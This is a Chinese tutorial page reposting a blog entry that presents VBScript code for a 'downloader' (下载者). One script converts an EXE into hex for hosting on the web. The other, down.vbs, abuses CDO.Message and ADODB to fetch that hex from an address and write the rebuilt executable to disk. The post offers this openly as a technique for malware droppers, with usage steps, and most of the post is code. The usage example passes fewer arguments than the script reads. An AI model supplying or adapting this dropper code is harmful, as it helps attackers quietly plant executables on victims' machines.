VBS下载文件的新方法_CSS_青云站长教程网

当前位置:主页 > 网页制作 > CSS >

VBS下载文件的新方法

时间:2019-10-23 | 栏目:CSS | 点击:

VBS下载文件的新方法

BLOG备份脚本时发现 CDO.MESSAGE可以访问网络下载东西,说是研究研究或许可以用来当下载者用。
于是研究了一会。写出个粗糙的DEMO。
exe2hex.vbs //xiaolu写的exe2vbs ,我修改成直接拖放,转成十六进制
================================================

复制代码 代码如下:


'code by xiaolu
'change by NetPatch
on error resume next
set arg=wscript.arguments
if arg.count=0 then wscript.quit
do while 1
fname=arg(0)
err.number=0
Set Ado = CreateObject("adodb.stream")
With Ado
.Type = 1
.open
.loadfromfile fname
ss = .read
End With
if err.number<>0 then
if msgbox("文件打开错误!",1,"File2VBS")=2 then Wscript.quit
else
exit do
end if
loop
if fname="" then Wscript.quit
Set Fso=CreateObject("Scripting.FileSystemObject")
Set File=fso.OpenTextFile(arg(0)&".htm",2, True)
File.write Bin2Str(ss)
File.close
Set fso=nothing
Ado.close
set Abo=nothing
Function Bin2Str(Re)
For i = 1 To lenB(Re)
bt = AscB(MidB(Re, i, 1))
if bt < 16 Then Bin2Str=Bin2Str&"0"
Bin2Str=Bin2Str & Hex(bt)
Next
End Function


======================================
下载者 down.vbs
=============
[code]
on error resume next
set arg=wscript.arguments
if arg.count=0 then wscript.quit
'code by NetPatch
'cscript down.vbs c:\good.exe
Set Mail1 = CreateObject("CDO.Message")
Mail1.CreateMHTMLBody arg(0),31
ss= Mail1.HTMLBody
Set Mail1 = Nothing
Set RS=CreateObject("ADODB.Recordset")
L=Len(ss)/2
RS.Fields.Append "m",205,L
RS.Open:RS.AddNew
RS("m")=ss&ChrB(0)
RS.Update
ss=RS("m").GetChunk(L)
Set s=CreateObject("ADODB.Stream")
with s
.Mode = 3
.Type = 1
.Open()
.Write ss
.SaveToFile arg(1),2
end with
==================================
demo.htm内容时用exe2hex.vbs转EXE后获得的
使用方法:
1.exe2hex.vbs 把exe转成十六进制,放到网络上
2.down.vbs c:\good.exe

   
相关阅读:
Oracle 5大ACE谈关系数据库的发展
IIS管理程序Adsutil.vbs修改FTP服务器的PASV端口范围
Asp.Net对Xml文件的操作
ASP实例教程:File对象
提升我们工作效率的几个Windows7新功能
AspNetAjaxPager,Asp.Net通用无刷新Ajax分页控件,支持多样式多数据绑定
用 javascript 实现的点击复制代码
打开网页速度提升的简单而有效的方法
图片从右至左滚动JS
兼容FF&IE的滚动代码
兼容IE/Firefox/Opera/Safari的检测页面装载完毕的脚本Ext.onReady的实现
如何无需编程便将数据SQL导出到MYSQL
JS event使用方法详解
使用 DB2 对象:创建索引

您可能感兴趣的文章:

  • MySQL数据检索+查询+全文本搜索_MySQL
  • Mysql优化原则_MySQL
  • Mysql 5.5多实例部署步骤_MySQL
  • 怎样在 Oracle RAC 环境下使用 Parallel 参
  • mysql死锁几种情况的测试_MySQL
  • 相关文章
  • 11-08DEDECMS仿站教程:DEDE模板文件的代码结构
  • 11-08Oracle入门基础之参数文件
  • 11-07XP下100种文件夹图标
  • 11-07MySQL 数据库的临时文件究竟储存在哪里
  • 11-07Oracle服务器参数文件维护的四个技巧